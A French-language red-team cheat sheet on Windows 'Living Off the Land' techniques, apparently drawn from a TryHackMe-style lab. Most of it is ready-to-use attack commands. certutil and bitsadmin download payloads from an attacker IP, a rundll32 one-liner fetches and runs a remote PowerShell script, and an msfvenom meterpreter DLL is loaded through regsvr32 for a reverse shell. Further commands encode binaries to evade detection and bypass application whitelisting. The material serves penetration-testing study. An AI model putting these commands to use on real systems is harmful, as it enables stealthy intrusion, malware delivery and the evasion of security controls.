[Windows] Living Off the Land
Introduction
Le terme de Living Off The Land signifie se débrouiller avec les moyens du bord et donc avec les outils déjà présents dans notre contexte pour du Red teaming.
L'intérêt d'utiliser des outils déjà présent sont multiples :
- Ne pas éveiller les soupçons.
- L'utilisation d'outils externe est impossible pour une raison quelconque.
LOLBAS
Ce projet réunis les techniques et outils de Living Off The Land :
Manuel
Télécharger un fichier depuis un serveur HTTP
Il est possible de télécharger un fichier avec certutil.exe bien qu'il soit initialement conçu pour gérer les certificats sur Windows :
certutil -URLcache -split -f <URL> <OUTPUT>
Vous pouvez aussi utiliser BitsAdmin :
bitsadmin.exe /transfer /Download /priority Foreground http://<Attacker_IP>/payload.exe c:\Users\thm\Desktop\payload.exe
Télécharger un fichier depuis un serveur SMB
Grâce à l'outil findstr, il est possible de télécharger un fichier depuis un partage samba :
findstr /V dummystring \\MachineName\ShareFolder\test.exe > c:\Windows\Temp\test.exe
dummystring correspond à une chaîne non présente dans le fichier recherché.
Encoder un fichier
Avec certutil, on peut encoder un fichier et le rendre bien plus difficile à détecter :
certutil -encode <INPUT_FILE> <OUTPUT_ENCODED_FILE>
Vous pouvez encoder vos binaires de cette façon.
Exécuter un binaire
L'exécution de binaire peut se faire de manière traditionnelle via le cmd ou depuis le bureau.
Cependant, il existe des manières d'exécuter un fichier de manière plus discrète notamment avec l'explorateur de fichier qui sera le parent de notre processus si on exécute notre binaire de la façon suivante :
explorer.exe /root,"C:\Windows\System32\payload.exe"
On peut aussi le faire avec WMIC :
wmic.exe process call create payload
Le payload ne doit pas comporter d'extension (.exe) dans la commande !
On peut aussi utiliser RunDLL pour exécuter des programmes ou du code Javascript ou même Powershell :
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"payload\");window.close()");
Le payload ne doit pas comporter d'extension (.exe) dans la commande !
Et pour exécuter un script Powershell présent sur un serveur web distant :
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');");
Importation de DLL corrompue
Avec l'utilitaire regsvr32, il est possible d'exécuter une DLL corrompue.
Tout d'abord, créez votre payload (DLL corrompue) avec Metasploit :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f dll -a x86 > live0fftheland.dll
Trouvez un moyen de la téléverser sur la machine victime puis lancez cette commande :
c:\Windows\System32\regsvr32.exe c:\Users\thm\Downloads\live0fftheland.dll
Vous pouvez aussi utiliser différentes options pour essayer d'être plus discret :
c:\Windows\System32\regsvr32.exe /s /n /u /i:http://example.com/file.sct Downloads\live0fftheland.dll
Lors de l'exécution, vous devriez obtenir un reverse shell et ainsi contourner le whitelisting d'application de Windows.
Contournement du whitelisting d'application
Parfois, Windows autorise seulement certaines applications à se démarrer par sécurité.
Cependant, cette sécurité ne prend pas en compte le fait que certaines applications peuvent être lancées à partir d'autres applications légitimes telles que Bash qui a été implémentée dans Windows 10 et Windows Server 19 à travers WSL :
bash.exe -c "payload.exe"